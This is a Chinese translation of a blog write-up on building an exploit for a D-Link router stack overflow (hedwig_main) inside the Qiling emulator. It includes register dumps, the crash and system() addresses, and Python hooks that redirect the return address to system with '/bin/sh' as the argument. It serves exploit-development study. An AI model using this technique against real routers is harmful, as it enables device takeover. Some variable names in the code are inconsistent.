原文链接:https://github.com/nahueldsanchez/blogpost_qiling_dlink_2
在研究学习使用qiling
框架对路由器固件进行分析的过程中,在先知发现了有前辈搬运并翻译了这篇文章的第一部分,第二部分个人感觉也是很精彩,尝试翻译一下。
qiling
框架下工作的exp
通过阅读第一部分,我们在之前的步骤中确定了漏洞的位置,如何去触发这个漏洞以及造成他的根本原因,我们基于之前的工作,知道了程序 将会在 0x0040c594
这个地址触发崩溃,既函数hedwig_main
:
...
0040c58c c4 04 b1 8f lw s1,param_12(sp)
0040c590 c0 04 b0 8f lw s0,param_11(sp)
0040c594 08 00 e0 03 jr ra
...
我们也知道我们要覆盖堆栈中的很多内存,并且我们控制了大量的寄存器:
...
[-] s0 : 0x41414141
[-] s1 : 0x41414141
[-] s2 : 0x41414141
[-] s3 : 0x41414141
[-] s4 : 0x41414141
[-] s5 : 0x41414141
[-] s6 : 0x41414141
[-] s7 : 0x41414141
[-] t8 : 0x8
[-] t9 : 0x0
[-] k0 : 0x0
[-] k1 : 0x0
[-] gp : 0x43b6d0
[-] sp : 0x7ff3c608
[-] s8 : 0x41414141
[-] ra : 0x41414141
[-] status : 0x0
[-] lo : 0x0
[-] hi : 0x0
[-] badvaddr : 0x0
[-] cause : 0x0
[-] pc : 0x41414140
...
考虑到这种情况,我的想法是用system
函数的地址覆盖返回地址,然后根据需要设置参数。我知道这是有用的,因为Metasploit中包含的exp就是如此。
为了检验我的假设,第一步,我决定摆脱所有复杂性并模拟(simulate)这个攻击过程。我的想法是分配一些内存,把我们要执行的命令写在这里,然后通过 改变返回地址指向到 system
函数以及把写有命令的内存地址加载到执行system
函数所需的寄存器中。
听起来有很大的工作量,让我们来测试一下:
...
RETURN_CORRUPTED_STACK = 0x0040c594 # 在上一篇文章中通过开启调试连接到gdb获得的初始化断点
QILING_SYSTEM = 0x0041eb50 # x/10i system 获得 system function addr
def simulate_exploitation(ql):
ql.nprint("** at simulate_exploitation **")
cmd = ql.mem.map_anywhere(20) # Qiling 分配20字节的块给我们并返回其地址
# 我们把我们的命令写在这里
ql.mem.string(command, "/bin/sh") # We write our string
ql.reg.a0 = command # 把 register a0 设置为我们命令的地址
ql.reg.ra = QILING_SYSTEM # 最后修改 $ra register
...
ql.hook_address(simulate_exploit, RETURN_CORRUPTED_STACK) # 当运行到ret的时候回调到 hedwig_main
ql.run()
正如你将看到的,模拟这个过程非常简单,让我们看看发生了什么:
...
** at simulate_exploitation **
rt_sigaction(0x3, 0x7ff3c430, = 0x7ff3c450) = 0
rt_sigaction(0x2, 0x7ff3c430, = 0x7ff3c450) = 0
rt_sigaction(0x12, 0x7ff3c430, = 0x7ff3c450) = 0
[!] 0x77507144: syscall ql_syscall_fork number = 0xfa2(4002) not implemented
rt_sigaction(0x3, 0x7ff3c430, = 0x7ff3c450) = 0
rt_sigaction(0x2, 0x7ff3c430, = 0x7ff3c450) = 0
[!] Syscall ERROR: ql_syscall_wait4 DEBUG: [Errno 10] No child processes
ChildProcessError: [Errno 10] No child processes
...
看起来好像生效了,但感觉这里发生了什么问题。我想是当我们要执行到system
函数的某些时刻,system
尝试调用fork syscall
,但这种方式是qiling
不支持的。
为了验证我的想法我做了两件事:第一,我给 system
设置了一个断点,检查是否在某个时刻触发了这个断点;其次,为了更好的展示,我修改了system
函数执行的命令为exit
,让我们看一下又发生了什么:
def simulate_exploitation(ql):
...
ql.reg.ra = QILING_EXIT # 最后修改 $ra register
运行这个poc:
...
** at simulate_exploitation **
write(1,7756d038,114) = 0
HTTP/1.1 200 OK
Content-Type: text/xml
<hedwig><result>FAILED</result><message>no xml data.</message></hedwig>exit(4431872) = 4431872
...
好多了!如我们所见,程序通过调用正常退出exit()
。我们可以肯定,利用漏洞的想法是可行的!让我们努力将模拟的转换为真实的东西。
在阅读我在上一步中所做的工作时,我发现我直接利用exit
当shellcode是一个很偷懒的行为。我应该更加努力地尝试第一个想法去调用系统函数。基于此,我将更深入地研究如何进行这项工作。
我的第一个想法是检查为什么收到此错误:
[!] 0x77507144: syscall ql_syscall_fork number = 0xfa2(4002) not implemented
我查看了syscall 0xfa2的类型,发现syscall 0xfa2是fork。有了这些信息,我使用了Qiling的扩展系统调用的能力,如下所示:
MIPS_FORK_SYSCALL = 0xfa2
...
# Code copied from lib/qiling/os/posix/syscall/unistd.py:380
def hook_fork(ql, *args, **kw):
pid = os.fork()
if pid == 0:
ql.os.child_processes = True
ql.dprint (0, "[+] vfork(): is this a child process: %r" % (ql.os.child_processes))
regreturn = 0
if ql.os.thread_management != None:
ql.os.thread_management.cur_thread.set_thread_log_file(ql.log_dir)
else:
if ql.log_split:
_logger = ql.log_file_fd
_logger = ql_setup_logging_file(ql.output, ql.log_file , _logger)
_logger_name = str(len(logging.root.manager.loggerDict))
_logger = ql_setup_logging_file(ql.output, '_'.join((ql.log_file, _logger_name)))
ql.log_file_fd = _logger
else:
regreturn = pid
if ql.os.thread_management != None:
ql.emu_stop()
...
ql.set_syscall(MIPS_FORK_SYSCALL, hook_fork)